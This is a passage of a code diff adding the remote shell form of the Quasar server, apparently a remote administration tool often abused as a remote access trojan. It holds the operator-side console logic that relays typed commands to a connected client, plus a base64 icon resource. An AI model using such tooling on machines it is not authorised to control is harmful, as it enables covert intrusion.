ThemeManager.ApplyThemeToNewForm(this); + this.DoubleBuffered = true; + this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); + } + + private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + if (_connectClient.Connected) + RemoteShellHandler.SendCommand("exit"); + } + + private void txtConsoleOutput_TextChanged(object sender, EventArgs e) + { + NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle); + } + + private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim())) + { + string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' '); + txtConsoleInput.Text = string.Empty; + + // Split based on the space key. + string[] splitSpaceInput = input.Split(' '); + // Split based on the null key. + string[] splitNullInput = input.Split(' '); + + // We have an exit command. + if (input == "exit" || + ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") || + ((splitNullInput.Length > 0) && splitNullInput[0] == "exit")) + { + this.Close(); + } + else + { + switch (input) + { + case "cls": + txtConsoleOutput.Text = string.Empty; + break; + default: + RemoteShellHandler.SendCommand(input); + break; + } + } + + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char) 2) + { + txtConsoleInput.Text += e.KeyChar.ToString(); + txtConsoleInput.Focus(); + txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength; + txtConsoleInput.ScrollToCaret(); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + 